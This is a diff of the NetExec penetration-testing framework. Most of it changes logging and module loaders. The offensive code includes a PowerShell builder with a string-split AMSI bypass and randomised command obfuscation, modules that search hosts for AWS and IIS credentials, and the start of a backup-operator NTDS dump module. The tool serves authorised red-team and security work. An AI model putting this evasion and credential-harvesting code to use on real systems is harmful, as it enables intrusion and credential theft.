return True
+68 -47
View File
@@ -13,22 +13,6 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -58,6 +42,19 @@ def encode_ps_command(command):
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
"""
Check if PowerShell is installed.
Returns
-------
bool: True if PowerShell is installed, False otherwise.
"""
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
@@ -79,7 +76,7 @@ def obfs_ps_script(path_to_script):
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if bool(which("powershell")) and obfuscate_ps_scripts:
if is_powershell_installed() and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script) as script:
@@ -105,71 +102,97 @@ def obfs_ps_script(path_to_script):
and debug statements from a PowerShell source file.
"""
# strip block comments
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = ""
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
obfs_attempts = 0
while True:
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -297,7 +320,6 @@ def invoke_obfuscation(script_string):
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
@@ -414,6 +436,5 @@ def invoke_obfuscation(script_string):
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
return choice(invoke_options)
+12 -5
View File
@@ -24,15 +24,18 @@ class ModuleLoader:
if not hasattr(module, "name"):
self.logger.fail(f"{module_path} missing the name variable")
module_error = True
elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
self.logger.fail(f"{module_path} filename must match the module name {module.name}")
module_error = True
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
elif not hasattr(module, "opsec_safe"):
self.logger.fail(f"{module_path} missing the opsec_safe variable")
module_error = True
elif not hasattr(module, "multiple_hosts"):
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
module_error = True
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
@@ -40,7 +43,9 @@ class ModuleLoader:
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
return not module_error
if module_error:
return False
return True
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
@@ -87,11 +92,13 @@ class ModuleLoader:
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name}": {
f"{module_spec.name.lower()}": {
"path": module_path,
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
+24 -17
View File
@@ -2,12 +2,14 @@ from types import ModuleType
from importlib.machinery import SourceFileLoader
from os import listdir
from os.path import join as path_join
from os.path import dirname, exists
from os.path import dirname, exists, expanduser
import nxc
class ProtocolLoader:
def __init__(self):
self.nxc_path = expanduser("~/.nxc")
def load_protocol(self, protocol_path):
loader = SourceFileLoader("protocol", protocol_path)
protocol = ModuleType(loader.name)
@@ -16,22 +18,27 @@ class ProtocolLoader:
def get_protocols(self):
protocols = {}
protocol_paths = [
path_join(dirname(nxc.__file__), "protocols"),
path_join(self.nxc_path, "protocols"),
]
proto_path = path_join(dirname(nxc.__file__), "protocols")
for protocol in listdir(proto_path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(proto_path, protocol)
protocol_name = protocol[:-3]
for path in protocol_paths:
for protocol in listdir(path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(path, protocol)
protocol_name = protocol[:-3]
protocols[protocol_name] = {"path": protocol_path}
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(path, protocol_name, "database.py")
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
db_file_path = path_join(proto_path, protocol_name, "database.py")
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
return protocols
+91 -103
View File
@@ -3,107 +3,37 @@ from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.helpers.misc import called_from_cmd_args
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
from rich.logging import RichHandler
import functools
import inspect
import argparse
def parse_debug_args():
debug_parser = argparse.ArgumentParser(add_help=False)
debug_parser.add_argument("--debug", action="store_true")
debug_parser.add_argument("--verbose", action="store_true")
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
"""
@functools.wraps(func)
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
self.log_console_to_file(formatted_text, *args, **kwargs)
return wrapper
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None, merge_extra=False):
def __init__(self, extra=None):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
handlers=[RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
handlers=[
RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False,
)
],
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs):
def format(self, msg, *args, **kwargs): # noqa: A003
"""Format msg for output
This is used instead of process() since process() applies to _all_ messages, including debug calls
@@ -111,45 +41,77 @@ class NXCAdapter(logging.LoggerAdapter):
if self.extra is None:
return f"{msg}", kwargs
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
# If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ("module_name" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
kwargs,
)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
)
# If the logger is being called from a protocol
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
return (
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
kwargs,
)
@no_debug
def display(self, msg, *args, **kwargs):
"""Display text to console, formatted for nxc"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def success(self, msg, color="green", *args, **kwargs):
"""Prints some sort of success to the user"""
"""Print some sort of success to the user"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def highlight(self, msg, *args, **kwargs):
"""Prints a completely yellow highlighted message to the user"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def fail(self, msg, color="red", *args, **kwargs):
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
try:
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
return
except AttributeError:
pass
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
@@ -161,16 +123,29 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
if self.logger.getEffectiveLevel() >= logging.INFO:
# will be 0 if it's just the console output, so only do this if we actually have file loggers
if len(self.logger.handlers):
try:
for handler in self.logger.handlers:
handler.handle(
LogRecord(
"nxc",
20,
"",
kwargs,
msg=text,
args=args,
exc_info=None,
)
)
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
else:
self.logger.info(text)
def add_file_log(self, log_file=None):
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@@ -178,13 +153,13 @@ class NXCAdapter(logging.LoggerAdapter):
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
with file_handler._open() as f:
if file_creation:
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
else:
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)
@@ -192,15 +167,28 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
return os.path.join(
NXC_PATH,
os.path.expanduser("~/.nxc"),
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
nxc_logger = NXCAdapter()
+42
View File
@@ -0,0 +1,42 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
""" """
def on_login(self, context, connection):
authLevel = RPC_C_AUTHN_LEVEL_NONE
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug("[*] Retrieving network interface of " + connection.host)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
@@ -1,5 +1,3 @@
from pyasn1.error import PyAsn1Error
class NXCModule:
"""
@@ -16,15 +14,16 @@ class NXCModule:
def options(self, context, module_options):
pass
name = "maq"
name = "MAQ"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def on_login(self, context, connection):
result = []
context.log.display("Getting the MachineAccountQuota")
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
+8 -9
View File
@@ -13,6 +13,8 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -25,7 +27,8 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.regex = re.compile(r"(https?://.+)")
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
self.base_dn = None
@@ -36,7 +39,6 @@ class NXCModule:
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
@@ -47,10 +49,10 @@ class NXCModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
connection.ldap_connection.search(
connection.ldapConnection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -59,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldap_connection.search(
connection.ldapConnection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
@@ -68,10 +70,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
if "noSuchObject" in str(e):
context.log.fail("No ADCS infrastructure found.")
else:
context.log.fail(f"Obtained unexpected exception: {e}")
context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item):
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
@@ -1,8 +1,7 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import sys
class NXCModule:
@@ -16,6 +15,8 @@ class NXCModule:
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
@@ -40,7 +41,6 @@ class NXCModule:
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
@@ -61,10 +61,11 @@ class NXCModule:
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
@@ -86,7 +87,9 @@ class NXCModule:
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
else:
sys.exit(1)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
@@ -99,11 +102,15 @@ class NXCModule:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -112,13 +119,10 @@ class NXCModule:
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
@@ -174,6 +178,7 @@ class NXCModule:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
sys.exit(1)
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
+3 -1
View File
@@ -8,6 +8,8 @@ class NXCModule:
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
pass
@@ -35,7 +37,7 @@ class NXCModule:
return
def execute_appcmd(self, context, connection):
command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
output = connection.execute(command, True)
-46
View File
@@ -1,46 +0,0 @@
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
Module by Fortress
"""
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
def options(self, context, module_options):
r"""
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
Default: "'/home/' '/tmp/'"
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
"""
if "SEARCH_PATH_LINUX" in module_options:
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
if "SEARCH_PATH_WIN" in module_options:
self.search_path_win = module_options["SEARCH_PATH_WIN"]
def on_login(self, context, connection):
# search for aws_credentials-related files on linux systems
if "ssh" in context.protocol:
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
output = connection.execute(search_aws_creds_files_cmd)
else:
# search for aws_credentials-related files on windows systems
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
output = connection.execute(search_aws_creds_files_cmd_win, True)
if output:
context.log.success("The following files were found:")
for line in output.splitlines():
context.log.highlight(line.rstrip())
-141
View File
@@ -1,141 +0,0 @@
import time
import os
import datetime
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
self.trigger_winreg(connection.conn, context)
